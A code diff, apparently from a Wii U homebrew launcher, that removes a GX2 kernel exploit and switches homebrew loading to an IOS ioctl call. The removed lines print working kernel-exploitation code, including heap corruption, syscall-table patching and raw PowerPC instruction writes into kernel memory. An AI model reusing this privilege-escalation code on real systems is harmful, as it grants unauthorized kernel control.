void (*do_flush)(uint32_t arg0, uint32_t arg1) = find_gadget(doflush, 0x2C, 0x01000000) + 0x14;
|
||||
|
||||
/* Modify a next ptr on the heap */
|
||||
uint32_t kpaddr = KERN_HEAP_PHYS + STARTID_OFFSET;
|
||||
|
||||
set_semaphore_phys(set_semaphore, kpaddr, gx2data_addr);
|
||||
set_semaphore_phys(set_semaphore, kpaddr, gx2data_addr);
|
||||
do_flush(0x100, 1);
|
||||
|
||||
/* Register a new OSDriver, DRVHAX */
|
||||
char drvname[6] = {'D', 'R', 'V', 'H', 'A', 'X'};
|
||||
Register(drvname, 6, NULL, NULL);
|
||||
|
||||
/* Modify its save area to point to the kernel syscall table */
|
||||
drvhax[0x44/4] = KERN_SYSCALL_TBL_2 + (0x34 * 4);
|
||||
|
||||
/* Use DRVHAX to install the read and write syscalls */
|
||||
uint32_t syscalls[2] = {KERN_CODE_READ, KERN_CODE_WRITE};
|
||||
CopyToSaveArea(drvname, 6, syscalls, 8);
|
||||
|
||||
/* Clean up the heap and driver list so we can exit */
|
||||
kern_write((void*)(KERN_HEAP + STARTID_OFFSET), 0);
|
||||
kern_write((void*)KERN_DRVPTR, drvhax[0x48/4]);
|
||||
|
||||
/* Setup kernel memmap for further exploitation (will be reverted later) */
|
||||
kern_write((void*)(KERN_ADDRESS_TBL + 0x12 * 4), 0x10000000);
|
||||
kern_write((void*)(KERN_ADDRESS_TBL + 0x13 * 4), 0x28305800);
|
||||
|
||||
/* Setup kernel read/write in every application */
|
||||
kern_write((void*)(KERN_SYSCALL_TBL_1 + (0x34 * 4)), KERN_CODE_READ);
|
||||
kern_write((void*)(KERN_SYSCALL_TBL_3 + (0x34 * 4)), KERN_CODE_READ);
|
||||
kern_write((void*)(KERN_SYSCALL_TBL_4 + (0x34 * 4)), KERN_CODE_READ);
|
||||
kern_write((void*)(KERN_SYSCALL_TBL_5 + (0x34 * 4)), KERN_CODE_READ);
|
||||
kern_write((void*)(KERN_SYSCALL_TBL_1 + (0x35 * 4)), KERN_CODE_WRITE);
|
||||
kern_write((void*)(KERN_SYSCALL_TBL_3 + (0x35 * 4)), KERN_CODE_WRITE);
|
||||
kern_write((void*)(KERN_SYSCALL_TBL_4 + (0x35 * 4)), KERN_CODE_WRITE);
|
||||
kern_write((void*)(KERN_SYSCALL_TBL_5 + (0x35 * 4)), KERN_CODE_WRITE);
|
||||
|
||||
/* clean shutdown */
|
||||
GX2Shutdown();
|
||||
free(gx2CommandBuffer);
|
||||
return 0;
|
||||
}
|
||||
|
||||
static void setup_syscall(void)
|
||||
{
|
||||
// set kernel code area write permissions
|
||||
asm volatile("mtspr 570, %0" : : "r" (0xFFF00002));
|
||||
asm volatile("mtspr 571, %0" : : "r" (0xFFF00032));
|
||||
asm volatile("eieio; isync");
|
||||
|
||||
u32 *targetAddress = (u32*)BAT_SETUP_HOOK_ADDR;
|
||||
targetAddress[0] = 0x3ce00000 | ((BAT4L_VAL >> 16) & 0xFFFF); // lis r7, BAT4L_VAL@h
|
||||
targetAddress[1] = 0x60e70000 | (BAT4L_VAL & 0xFFFF); // ori r7, r7, BAT4L_VAL@l
|
||||
targetAddress[2] = 0x7cf18ba6; // mtspr 561, r7
|
||||
targetAddress[3] = 0x3ce00000 | ((BAT4U_VAL >> 16) & 0xFFFF); // lis r7, BAT4U_VAL@h
|
||||
targetAddress[4] = 0x60e70000 | (BAT4U_VAL & 0xFFFF); // ori r7, r7, BAT4U_VAL@l
|
||||
targetAddress[5] = 0x7cf08ba6; // mtspr 560, r7
|
||||
targetAddress[6] = 0x7c0006ac; // eieio
|
||||
targetAddress[7] = 0x4c00012c; // isync
|
||||
targetAddress[8] = 0x7ce802a6; // mflr r7
|
||||
targetAddress[9] = 0x48000003 | (u32)BAT_SETUP_HOOK_ENTRY; // bla BAT_SETUP_HOOK_ENTRY
|
||||
asm volatile("dcbf 0, %0; icbi 0, %0; sync" : : "r" (BAT_SETUP_HOOK_ADDR & ~31));
|
||||
asm volatile("dcbf 0, %0; icbi 0, %0; sync" : : "r" ((BAT_SETUP_HOOK_ADDR + 0x20) & ~31));
|
||||
|
||||
NOP_ADDR(BAT_SET_NOP_ADDR_1);
|
||||
NOP_ADDR(BAT_SET_NOP_ADDR_2);
|
||||
NOP_ADDR(BAT_SET_NOP_ADDR_3);
|
||||
NOP_ADDR(BAT_SET_NOP_ADDR_4);
|
||||
NOP_ADDR(BAT_SET_NOP_ADDR_5);
|
||||
NOP_ADDR(BAT_SET_NOP_ADDR_6);
|
||||
NOP_ADDR(BAT_SET_NOP_ADDR_7);
|
||||
|
||||
u32 addr_syscall_0x65 = *(u32*)(KERN_SYSCALL_TBL_2 + 0x65 * 4);
|
||||
*(u32*)addr_syscall_0x65 = 0x3C60B00B; // lis r3, 0xB00B
|
||||
asm volatile("dcbf 0, %0; icbi 0, %0; sync" : : "r" (addr_syscall_0x65 & ~31));
|
||||
|
||||
asm volatile("eieio; isync");
|
||||
asm volatile("mtspr 570, %0" : : "r" (0xFFEE0002));
|
||||
asm volatile("mtspr 571, %0" : : "r" (0xFFEE0032));
|
||||
asm volatile("eieio; isync");
|
||||
|
||||
NOP_ADDR(BAT_SET_NOP_ADDR_8);
|
||||
NOP_ADDR(BAT_SET_NOP_ADDR_9);
|
||||
|
||||
asm volatile("sync; eieio; isync");
|
||||
asm volatile("mtspr 560, %0" : : "r" (BAT4U_VAL));
|
||||
asm volatile("mtspr 561, %0" : : "r" (BAT4L_VAL));
|
||||
asm volatile("mtspr 570, %0" : : "r" (BAT4U_VAL));
|
||||
asm volatile("mtspr 571, %0" : : "r" (BAT4L_VAL));
|
||||
asm volatile("eieio; isync");
|
||||
}
|
||||
|
||||
static unsigned int get_section(const unsigned char *data, const char *name, unsigned int * size, unsigned int * addr)
|
||||
{
|
||||
Elf32_Ehdr *ehdr = (Elf32_Ehdr *) data;
|
||||
|
||||
if ( !data
|
||||
|| !IS_ELF (*ehdr)
|
||||
|| (ehdr->e_type != ET_EXEC)
|
||||
|| (ehdr->e_machine != EM_PPC))
|
||||
{
|
||||
OSFatal("Invalid elf file");
|
||||
}
|
||||
|
||||
Elf32_Shdr *shdr = (Elf32_Shdr *) (data + ehdr->e_shoff);
|
||||
int i;
|
||||
for(i = 0; i < ehdr->e_shnum; i++)
|
||||
{
|
||||
const char *section_name = ((const char*)data) + shdr[ehdr->e_shstrndx].sh_offset + shdr[i].sh_name;
|
||||
if(strcmp(section_name, name) == 0)
|
||||
{
|
||||
if(addr)
|
||||
*addr = shdr[i].sh_addr;
|
||||
if(size)
|
||||
*size = shdr[i].sh_size;
|
||||
return shdr[i].sh_offset;
|
||||
}
|
||||
}
|
||||
|
||||
OSFatal((char*)name);
|
||||
return 0;
|
||||
}
|
||||
|
||||
static unsigned int load_loader_elf(unsigned char* baseAddress)
|
||||
{
|
||||
//! get .text section
|
||||
unsigned int main_text_addr = 0;
|
||||
unsigned int main_text_len = 0;
|
||||
unsigned int section_offset = get_section(___sd_loader_elf, ".text", &main_text_len, &main_text_addr);
|
||||
const unsigned char *main_text = ___sd_loader_elf + section_offset;
|
||||
|
||||
//! clear memory where the text and data goes by 0x2000 which is reserved for sd loader
|
||||
memset(baseAddress + main_text_addr, 0, 0x2000);
|
||||
|
||||
//! Copy main .text to memory
|
||||
memcpy(baseAddress + main_text_addr, main_text, main_text_len);
|
||||
DCFlushRange(baseAddress + main_text_addr, main_text_len);
|
||||
|
||||
//! get the .data section
|
||||
unsigned int main_data_addr = 0;
|
||||
unsigned int main_data_len = 0;
|
||||
section_offset = get_section(___sd_loader_elf, ".data", &main_data_len, &main_data_addr);
|
||||
|
||||
const unsigned char *main_data = ___sd_loader_elf + section_offset;
|
||||
//! Copy main data to memory
|
||||
memcpy(baseAddress + main_data_addr, main_data, main_data_len);
|
||||
DCFlushRange(baseAddress + main_data_addr, main_data_len);
|
||||
|
||||
Elf32_Ehdr *ehdr = (Elf32_Ehdr *)___sd_loader_elf;
|
||||
return ehdr->e_entry;
|
||||
}
|
||||
|
||||
int CheckKernelExploit(void)
|
||||
{
|
||||
if(OSEffectiveToPhysical((void*)0xA0000000) == 0x10000000)
|
||||
{
|
||||
log_printf("Running kernel setup\n");
|
||||
|
||||
unsigned char backupBuffer[0x40];
|
||||
|
||||
u32 *targetAddress = (u32*)(0xA0000000 + (0x327FF000 - 0x10000000));
|
||||
memcpy(backupBuffer, targetAddress, sizeof(backupBuffer));
|
||||
|
||||
targetAddress[0] = 0x7c7082a6; // mfspr r3, 528
|
||||
targetAddress[1] = 0x60630003; // ori r3, r3, 0x03
|
||||
targetAddress[2] = 0x7c7083a6; // mtspr 528, r3
|
||||
targetAddress[3] = 0x7c7282a6; // mfspr r3, 530
|
||||
targetAddress[4] = 0x60630003; // ori r3, r3, 0x03
|
||||
targetAddress[5] = 0x7c7283a6; // mtspr 530, r3
|
||||
targetAddress[6] = 0x7c0006ac; // eieio
|
||||
targetAddress[7] = 0x4c00012c; // isync
|
||||
targetAddress[8] = 0x3c600000 | (((u32)setup_syscall) >> 16); // lis r3, setup_syscall@h
|
||||
targetAddress[9] = 0x60630000 | (((u32)setup_syscall) & 0xFFFF); // ori r3, r3, setup_syscall@l
|
||||
targetAddress[10] = 0x7c6903a6; // mtctr r3
|
||||
targetAddress[11] = 0x4e800420; // bctr
|
||||
DCFlushRange(targetAddress, sizeof(backupBuffer));
|
||||
|
||||
u8 *sdLoaderAddress = (u8*)(0xA0000000 + (0x30000000 - 0x10000000));
|
||||
u32 entryPoint = load_loader_elf(sdLoaderAddress);
|
||||
|
||||
sdLoaderAddress += BAT_SETUP_HOOK_ENTRY;
|
||||
|
||||
//! set HBL version as channel version
|
||||
*(u32*)(sdLoaderAddress + HBL_CHANNEL_OFFSET) = HBL_VERSION_INT;
|
||||
//! OS_FIRMWARE -> 550 on 5.5.x specific addresses
|
||||
*(u32*)(sdLoaderAddress + OS_FIRMWARE_OFFSET) = 550;
|
||||
|
||||
OsSpecifics *osSpecificFunctions = (OsSpecifics *)(sdLoaderAddress + 0x1500);
|
||||
osSpecificFunctions->addr_OSDynLoad_Acquire = (unsigned int)OSDynLoad_Acquire;
|
||||
osSpecificFunctions->addr_OSDynLoad_FindExport = (unsigned int)OSDynLoad_FindExport;
|
||||
osSpecificFunctions->addr_KernSyscallTbl1 = KERN_SYSCALL_TBL_1;
|
||||
osSpecificFunctions->addr_KernSyscallTbl2 = KERN_SYSCALL_TBL_2;
|
||||
osSpecificFunctions->addr_KernSyscallTbl3 = KERN_SYSCALL_TBL_3;
|
||||
osSpecificFunctions->addr_KernSyscallTbl4 = KERN_SYSCALL_TBL_4;
|
||||
osSpecificFunctions->addr_KernSyscallTbl5 = KERN_SYSCALL_TBL_5;
|
||||
osSpecificFunctions->addr_OSTitle_main_entry = ADDRESS_OSTitle_main_entry_ptr;
|
||||
|
||||
osSpecificFunctions->LiWaitIopComplete = (int (*)(int, int *)) address_LiWaitIopComplete;
|
||||
osSpecificFunctions->LiWaitIopCompleteWithInterrupts = (int (*)(int, int *)) address_LiWaitIopCompleteWithInterrupts;
|
||||
osSpecificFunctions->addr_LiWaitOneChunk = address_LiWaitOneChunk;
|
||||
osSpecificFunctions->addr_PrepareTitle_hook = address_PrepareTitle_hook;
|
||||
osSpecificFunctions->addr_sgIsLoadingBuffer = address_sgIsLoadingBuffer;
|
||||
osSpecificFunctions->addr_gDynloadInitialized = address_gDynloadInitialized;
|
||||
osSpecificFunctions->orig_LiWaitOneChunkInstr = *(unsigned int*)address_LiWaitOneChunk;
|
||||
DCFlushRange(sdLoaderAddress, 0x2000);
|
||||
|
||||
|
||||
/* set our setup syscall to an unused position */
|
||||
kern_write((void*)(KERN_SYSCALL_TBL_2 + (0x25 * 4)), 0x017FF000);
|
||||
|
||||
/* run our kernel code :) */
|
||||
SC0x25_SetupSyscall();
|
||||
|
||||
/* revert setup syscall */
|
||||
kern_write((void*)(KERN_SYSCALL_TBL_2 + (0x25 * 4)), 0x0);
|
||||
|
||||
/* repair data */
|
||||
memcpy(targetAddress, backupBuffer, sizeof(backupBuffer));
|
||||
DCFlushRange(targetAddress, sizeof(backupBuffer));
|
||||
|
||||
unsigned int repl_addr = ADDRESS_main_entry_hook;
|
||||
*(u32*)(0xC1000000 + repl_addr) = 0x48000003 | entryPoint;
|
||||
DCFlushRange((void*)0xC1000000 + repl_addr, 4);
|
||||
ICInvalidateRange((void*)(repl_addr), 4);
|
||||
|
||||
/* restore kernel memory table to original state */
|
||||
kern_write((void*)(KERN_ADDRESS_TBL + (0x12 * 4)), 0);
|
||||
kern_write((void*)(KERN_ADDRESS_TBL + (0x13 * 4)), 0x14000000);
|
||||
|
||||
log_printf("Kernel setup finished\n");
|
||||
|
||||
/* relaunch for BAT setup on every core */
|
||||
SYSRelaunchTitle(0, 0);
|
||||
return 0;
|
||||
}
|
||||
else if(SC0x65_ExploitCheck(0) != 0xB00B0000)
|
||||
{
|
||||
log_printf("Running GX2Sploit\n");
|
||||
/* Make a thread to modify the semaphore */
|
||||
OSThread *thread = (OSThread*)memalign(8, 0x1000);
|
||||
u8 *stack = (u8*)memalign(0x40, 0x2000);
|
||||
|
||||
if (OSCreateThread(thread, (OSThreadEntryPointFn)exploitThread, 0, NULL, stack + 0x2000, 0x2000, 0, 0x1) == 0)
|
||||
{
|
||||
OSFatal("Failed to create thread");
|
||||
}
|
||||
|
||||
OSResumeThread(thread);
|
||||
OSJoinThread(thread, 0);
|
||||
free(thread);
|
||||
free(stack);
|
||||
|
||||
log_printf("GX2Sploit done\n");
|
||||
SYSRelaunchTitle(0, 0);
|
||||
return 0;
|
||||
}
|
||||
|
||||
// else everything is setup
|
||||
return 1;
|
||||
}
|
@ -1,14 +0,0 @@
|
||||
#ifndef GX2SPLOIT_H_
|
||||
#define GX2SPLOIT_H_
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
int CheckKernelExploit(void);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif // GX2SPLOIT_H_
|
@ -1,37 +0,0 @@
|
||||
.globl set_semaphore_phys
|
||||
set_semaphore_phys:
|
||||
mflr 0
|
||||
stwu 1, -0x20(1)
|
||||
stw 31, 0x1C(1)
|
||||
stw 30, 0x18(1)
|
||||
stw 0, 0x24(1)
|
||||
|
||||
mtctr 3
|
||||
mr 3, 4
|
||||
mr 30, 5
|
||||
li 31, 1
|
||||
bctr
|
||||
|
||||
.globl Register
|
||||
Register:
|
||||
li 0,0x3200
|
||||
sc
|
||||
blr
|
||||
|
||||
.globl CopyToSaveArea
|
||||
CopyToSaveArea:
|
||||
li 0,0x4800
|
||||
sc
|
||||
blr
|
||||
|
||||
.globl SC0x25_SetupSyscall
|
||||
SC0x25_SetupSyscall:
|
||||
li 0,0x2500
|
||||
sc
|
||||
blr
|
||||
|
||||
.globl SC0x65_ExploitCheck
|
||||
SC0x65_ExploitCheck:
|
||||
li 0,0x6500
|
||||
sc
|
||||
blr
|
22
src/main.cpp
22
src/main.cpp
@ -3,37 +3,20 @@
|
||||
#include "system/memory.h"
|
||||
#include "utils/logger.h"
|
||||
#include "utils/utils.h"
|
||||
#include "dynamic_libs/padscore_functions.h"
|
||||
#include "common/common.h"
|
||||
#include "kernel/gx2sploit.h"
|
||||
#include "menu/HomebrewMemory.h"
|
||||
|
||||
/* Entry point */
|
||||
extern "C" int Menu_Main(void)
|
||||
{
|
||||
extern "C" int Menu_Main(void) {
|
||||
//!*******************************************************************
|
||||
//! Initialize function pointers *
|
||||
//!*******************************************************************
|
||||
socket_lib_init();
|
||||
//! do OS (for acquire) and sockets first so we got logging
|
||||
log_init("192.168.178.3");
|
||||
log_init();
|
||||
|
||||
//! *******************************************************************
|
||||
//! * Check if our application needs to run the kexploit started *
|
||||
//! *******************************************************************
|
||||
if(CheckKernelExploit() == 0)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
log_printf("Welcome to the Homebrew Launcher %s\n", HBL_VERSION);
|
||||
|
||||
InitPadScoreFunctionPointers();
|
||||
log_printf("Function exports loaded\n");
|
||||
|
||||
//! initialize homebrew memory layout
|
||||
HomebrewInitMemory();
|
||||
|
||||
//!*******************************************************************
|
||||
//! Enter main application *
|
||||
//!*******************************************************************
|
||||
@ -44,7 +27,6 @@ extern "C" int Menu_Main(void)
|
||||
Application::destroyInstance();
|
||||
|
||||
log_printf("HBL exit\n");
|
||||
log_deinit();
|
||||
|
||||
return returnCode;
|
||||
}
|
||||
|
@ -1,7 +1,7 @@
|
||||
#ifndef _MAIN_H_
|
||||
#define _MAIN_H_
|
||||
|
||||
#include "common/types.h"
|
||||
#include <stdint.h>
|
||||
|
||||
/* Main */
|
||||
#ifdef __cplusplus
|
||||
|
@ -18,11 +18,14 @@
|
||||
#include "HomebrewLoader.h"
|
||||
#include "common/common.h"
|
||||
#include "fs/DirList.h"
|
||||
#include "fs/fs_utils.h"
|
||||
#include "fs/FSUtils.h"
|
||||
#include "utils/HomebrewXML.h"
|
||||
#include "utils/utils.h"
|
||||
#include "Application.h"
|
||||
|
||||
#include <sysapp/launch.h>
|
||||
|
||||
|
||||
HomebrewLaunchWindow::HomebrewLaunchWindow(const std::string & launchPath, GuiImageData * iconImgData)
|
||||
: GuiFrame(0, 0)
|
||||
, buttonClickSound(Resources::GetSound("button_click.mp3"))
|
||||
@ -44,8 +47,7 @@ HomebrewLaunchWindow::HomebrewLaunchWindow(const std::string & launchPath, GuiIm
|
||||
, backBtn(backImg.getWidth(), backImg.getHeight())
|
||||
, touchTrigger(GuiTrigger::CHANNEL_1, GuiTrigger::VPAD_TOUCH)
|
||||
, wpadTouchTrigger(GuiTrigger::CHANNEL_2 | GuiTrigger::CHANNEL_3 | GuiTrigger::CHANNEL_4 | GuiTrigger::CHANNEL_5, GuiTrigger::BUTTON_A)
|
||||
, homebrewLaunchPath(launchPath)
|
||||
{
|
||||
, homebrewLaunchPath(launchPath) {
|
||||
width = backgroundImg.getWidth();
|
||||
height = backgroundImg.getHeight();
|
||||
append(&backgroundImg);
|
||||
@ -63,7 +65,7 @@ HomebrewLaunchWindow::HomebrewLaunchWindow(const std::string & launchPath, GuiIm
|
||||
|
||||
const char *cpName = xmlReadSuccess ? metaXml.GetName() : launchPath.c_str();
|
||||
if(strncmp(cpName, "fs:/wiiu/apps/", strlen("fs:/wiiu/apps/")) == 0)
|
||||
cpName += strlen("fs:/wiiu/apps/");
|
||||
cpName += strlen("fs:/wiiu/apps/");
|
||||
|
||||
titleText.setText(cpName);
|
||||
titleText.setAlignment(ALIGN_CENTER | ALIGN_MIDDLE);
|
||||
@ -135,22 +137,19 @@ HomebrewLaunchWindow::HomebrewLaunchWindow(const std::string & launchPath, GuiIm
|
||||
append(&backBtn);
|
||||
}
|
||||
|
||||
HomebrewLaunchWindow::~HomebrewLaunchWindow()
|
||||
{
|
||||
HomebrewLaunchWindow::~HomebrewLaunchWindow() {
|
||||
Resources::RemoveSound(buttonClickSound);
|
||||
Resources::RemoveImageData(backgroundImgData);
|
||||
Resources::RemoveImageData(buttonImgData);
|
||||
}
|
||||
|
||||
void HomebrewLaunchWindow::OnOpenEffectFinish(GuiElement *element)
|
||||
{
|
||||
void HomebrewLaunchWindow::OnOpenEffectFinish(GuiElement *element) {
|
||||
//! once the menu is open reset its state and allow it to be "clicked/hold"
|
||||
element->effectFinished.disconnect(this);
|
||||
element->clearState(GuiElement::STATE_DISABLED);
|
||||
}
|
||||
|
||||
void HomebrewLaunchWindow::OnCloseEffectFinish(GuiElement *element)
|
||||
{
|
||||
void HomebrewLaunchWindow::OnCloseEffectFinish(GuiElement *element) {
|
||||
//! remove element from draw list and push to delete queue
|
||||
remove(element);
|
||||
AsyncDeleter::pushForDelete(element);
|
||||
@ -159,21 +158,19 @@ void HomebrewLaunchWindow::OnCloseEffectFinish(GuiElement *element)
|
||||
loadBtn.clearState(GuiElement::STATE_DISABLED);
|
||||
}
|
||||
|
||||
void HomebrewLaunchWindow::OnFileLoadFinish(GuiElement *element, const std::string & filepath, int result)
|
||||
{
|
||||
void HomebrewLaunchWindow::OnFileLoadFinish(GuiElement *element, const std::string & filepath, int result) {
|
||||
element->setState(GuiElement::STATE_DISABLED);
|
||||
element->setEffect(EFFECT_FADE, -10, 0);
|
||||
//element->setEffect(EFFECT_FADE, -10, 0);
|
||||
element->effectFinished.connect(this, &HomebrewLaunchWindow::OnCloseEffectFinish);
|
||||
|
||||
if(result > 0)
|
||||
{
|
||||
Application::instance()->quit(EXIT_SUCCESS);
|
||||
if(result > 0) {
|
||||
SYSRelaunchTitle(0,NULL);
|
||||
//Application::instance()->quit(EXIT_SUCCESS);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
void HomebrewLaunchWindow::OnLoadButtonClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger)
|
||||
{
|
||||
void HomebrewLaunchWindow::OnLoadButtonClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) {
|
||||
backBtn.setState(GuiElement::STATE_DISABLED);
|
||||
loadBtn.setState(GuiElement::STATE_DISABLED);
|
||||
|
||||
|
@ -20,16 +20,14 @@
|
||||
#include "gui/Gui.h"
|
||||
#include "gui/GuiFrame.h"
|
||||
|
||||
class HomebrewLaunchWindow : public GuiFrame, public sigslot::has_slots<>
|
||||
{
|
||||
class HomebrewLaunchWindow : public GuiFrame, public sigslot::has_slots<> {
|
||||
public:
|
||||
HomebrewLaunchWindow(const std::string & launchPath, GuiImageData * iconImgData);
|
||||
virtual ~HomebrewLaunchWindow();
|
||||
|
||||
sigslot::signal1<GuiElement *> backButtonClicked;
|
||||
private:
|
||||
void OnBackButtonClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger)
|
||||
{
|
||||
void OnBackButtonClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) {
|
||||
backButtonClicked(this);
|
||||
}
|
||||
|
||||
|
@ -1,96 +1,117 @@
|
||||
#include <algorithm>
|
||||
#include <string>
|
||||
#include <string.h>
|
||||
#include <coreinit/ios.h>
|
||||
|
||||
#include "HomebrewLoader.h"
|
||||
#include "HomebrewMemory.h"
|
||||
#include "fs/CFile.hpp"
|
||||
#include "utils/logger.h"
|
||||
#include "utils/StringTools.h"
|
||||
|
||||
HomebrewLoader * HomebrewLoader::loadToMemoryAsync(const std::string & file)
|
||||
{
|
||||
HomebrewLoader * HomebrewLoader::loadToMemoryAsync(const std::string & file) {
|
||||
HomebrewLoader * loader = new HomebrewLoader(file);
|
||||
loader->resumeThread();
|
||||
return loader;
|
||||
}
|
||||
|
||||
void HomebrewLoader::executeThread()
|
||||
{
|
||||
void HomebrewLoader::executeThread() {
|
||||
int result = loadToMemory();
|
||||
asyncLoadFinished(this, filepath, result);
|
||||
}
|
||||
|
||||
int HomebrewLoader::loadToMemory()
|
||||
{
|
||||
if(filepath.empty())
|
||||
int32_t HomebrewLoader::loadToMemory(const std::string & file) {
|
||||
HomebrewLoader * loader = new HomebrewLoader(file);
|
||||
int result = loader->loadToMemory();
|
||||
delete loader;
|
||||
return result;;
|
||||
}
|
||||
|
||||
// You must free the result if result is non-NULL.
|
||||
char *str_replace(char *orig, char *rep, char *with) {
|
||||
char *result; // the return string
|
||||
char *ins; // the next insert point
|
||||
char *tmp; // varies
|
||||
int len_rep; // length of rep (the string to remove)
|
||||
int len_with; // length of with (the string to replace rep with)
|
||||
int len_front; // distance between rep and end of last rep
|
||||
int count; // number of replacements
|
||||
|
||||
// sanity checks and initialization
|
||||
if (!orig || !rep)
|
||||
return NULL;
|
||||
len_rep = strlen(rep);
|
||||
if (len_rep == 0)
|
||||
return NULL; // empty rep causes infinite loop during count
|
||||
if (!with)
|
||||
with = "";
|
||||
len_with = strlen(with);
|
||||
|
||||
// count the number of replacements needed
|
||||
ins = orig;
|
||||
for (count = 0; tmp = strstr(ins, rep); ++count) {
|
||||
ins = tmp + len_rep;
|
||||
}
|
||||
|
||||
tmp = result = (char*)malloc(strlen(orig) + (len_with - len_rep) * count + 1);
|
||||
|
||||
if (!result)
|
||||
return NULL;
|
||||
|
||||
// first time through the loop, all the variable are set correctly
|
||||
// from here on,
|
||||
// tmp points to the end of the result string
|
||||
// ins points to the next occurrence of rep in orig
|
||||
// orig points to the remainder of orig after "end of rep"
|
||||
while (count--) {
|
||||
ins = strstr(orig, rep);
|
||||
len_front = ins - orig;
|
||||
tmp = strncpy(tmp, orig, len_front) + len_front;
|
||||
tmp = strcpy(tmp, with) + len_with;
|
||||
orig += len_front + len_rep; // move to next "end of rep"
|
||||
}
|
||||
strcpy(tmp, orig);
|
||||
return result;
|
||||
}
|
||||
|
||||
int HomebrewLoader::loadToMemory() {
|
||||
if(filepath.empty()) {
|
||||
return INVALID_INPUT;
|
||||
}
|
||||
|
||||
log_printf("Loading file %s\n", filepath.c_str());
|
||||
|
||||
CFile file(filepath, CFile::ReadOnly);
|
||||
if(!file.isOpen())
|
||||
{
|
||||
progressWindow.setTitle(strfmt("Failed to open file %s", FullpathToFilename(filepath.c_str())));
|
||||
sleep(1);
|
||||
return FILE_OPEN_FAILURE;
|
||||
}
|
||||
char * repl = (char*)"fs:/vol/external01/";
|
||||
char * with = (char*)"/vol/storage_iosu_homebrew/";
|
||||
char * input = (char*) filepath.c_str();
|
||||
|
||||
u32 bytesRead = 0;
|
||||
u32 fileSize = file.size();
|
||||
char* extension = input + strlen(input) - 4;
|
||||
if (extension[0] == '.' &&
|
||||
extension[1] == 'r' &&
|
||||
extension[2] == 'p' &&
|
||||
extension[3] == 'x') {
|
||||
|
||||
progressWindow.setTitle(strfmt("Loading file %s", FullpathToFilename(filepath.c_str())));
|
||||
|
||||
unsigned char *buffer = (unsigned char*) memalign(0x40, (fileSize + 0x3F) & ~0x3F);
|
||||
if(!buffer)
|
||||
{
|
||||
progressWindow.setTitle("Not enough memory");
|
||||
sleep(1);
|
||||
return NOT_ENOUGH_MEMORY;
|
||||
}
|
||||
char rpxpath[280];
|
||||
char * path = str_replace(input,repl, with);
|
||||
if(path != NULL) {
|
||||
log_printf("Loading file %s\n", path);
|
||||
|
||||
// Copy rpl in memory
|
||||
while(bytesRead < fileSize)
|
||||
{
|
||||
progressWindow.setProgress(100.0f * (f32)bytesRead / (f32)fileSize);
|
||||
strncpy(rpxpath, path, sizeof(rpxpath) - 1);
|
||||
rpxpath[sizeof(rpxpath) - 1] = '\0';
|
||||
|
||||
u32 blockSize = 0x8000;
|
||||
if(blockSize > (fileSize - bytesRead))
|
||||
blockSize = fileSize - bytesRead;
|
||||
free(path);
|
||||
|
||||
int ret = file.read(buffer + bytesRead, blockSize);
|
||||
if(ret <= 0)
|
||||
{
|
||||
log_printf("Failure on reading file %s\n", filepath.c_str());
|
||||
break;
|
||||
int mcpFd = IOS_Open("/dev/mcp", (IOSOpenMode)0);
|
||||
if(mcpFd >= 0) {
|
||||
int out = 0;
|
||||
IOS_Ioctl(mcpFd, 100, (void*)rpxpath, strlen(rpxpath), &out, sizeof(out));
|
||||
IOS_Close(mcpFd);
|
||||
if(out == 2) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
bytesRead += ret;
|
||||
}
|
||||
|
||||
progressWindow.setProgress((f32)bytesRead / (f32)fileSize);
|
||||
|
||||
if(bytesRead != fileSize)
|
||||
{
|
||||
free(buffer);
|
||||
log_printf("File loading not finished for file %s, finished %i of %i bytes\n", filepath.c_str(), bytesRead, fileSize);
|
||||
progressWindow.setTitle("File read failure");
|
||||
sleep(1);
|
||||
return FILE_READ_ERROR;
|
||||
}
|
||||
|
||||
HomebrewInitMemory();
|
||||
|
||||
int ret = HomebrewCopyMemory(buffer, bytesRead);
|
||||
|
||||
free(buffer);
|
||||
|
||||
if(ret < 0)
|
||||
{
|
||||
progressWindow.setTitle("Not enough memory");
|
||||
sleep(1);
|
||||
return NOT_ENOUGH_MEMORY;
|
||||
}
|
||||
|
||||
return fileSize;
|
||||
return true;
|
||||
}
|
||||
|
@ -4,16 +4,13 @@
|
||||
#include <vector>
|
||||
#include <string>
|
||||
|
||||
#include "common/types.h"
|
||||
#include "ProgressWindow.h"
|
||||
#include "system/CThread.h"
|
||||
#include "gui/sigslot.h"
|
||||
|
||||
class HomebrewLoader : public GuiFrame, public CThread
|
||||
{
|
||||
class HomebrewLoader : public GuiFrame, public CThread {
|
||||
public:
|
||||
enum eLoadResults
|
||||
{
|
||||
enum eLoadResults {
|
||||
SUCCESS = 0,
|
||||
INVALID_INPUT = -1,
|
||||
FILE_OPEN_FAILURE = -2,
|
||||
@ -23,20 +20,19 @@ public:
|
||||
|
||||
|
||||
static HomebrewLoader * loadToMemoryAsync(const std::string & filepath);
|
||||
static int32_t loadToMemory(const std::string & file);
|
||||
sigslot::signal3<GuiElement *, const std::string &, int> asyncLoadFinished;
|
||||
private:
|
||||
|
||||
HomebrewLoader(const std::string & file)
|
||||
: GuiFrame(0, 0)
|
||||
: GuiFrame(1280, 720)
|
||||
, CThread(CThread::eAttributeAffCore0 | CThread::eAttributePinnedAff)
|
||||
, filepath(file)
|
||||
, progressWindow("Loading file...")
|
||||
{
|
||||
append(&progressWindow);
|
||||
|
||||
width = progressWindow.getWidth();
|
||||
height = progressWindow.getHeight();
|
||||
}
|
||||
, bgImageColor(1280, 720, (GX2Color) {
|
||||
0, 0, 0, 0
|
||||
}) {
|
||||
append(&bgImageColor);
|
||||
}
|
||||
void executeThread();
|
||||
|
||||
int loadToMemory();
|
||||
@ -44,7 +40,7 @@ private:
|
||||
static void loadCallback(CThread *thread, void *arg);
|
||||
|
||||
const std::string filepath;
|
||||
ProgressWindow progressWindow;
|
||||
GuiImage bgImageColor;
|
||||
};
|
||||
|
||||
|
||||
|
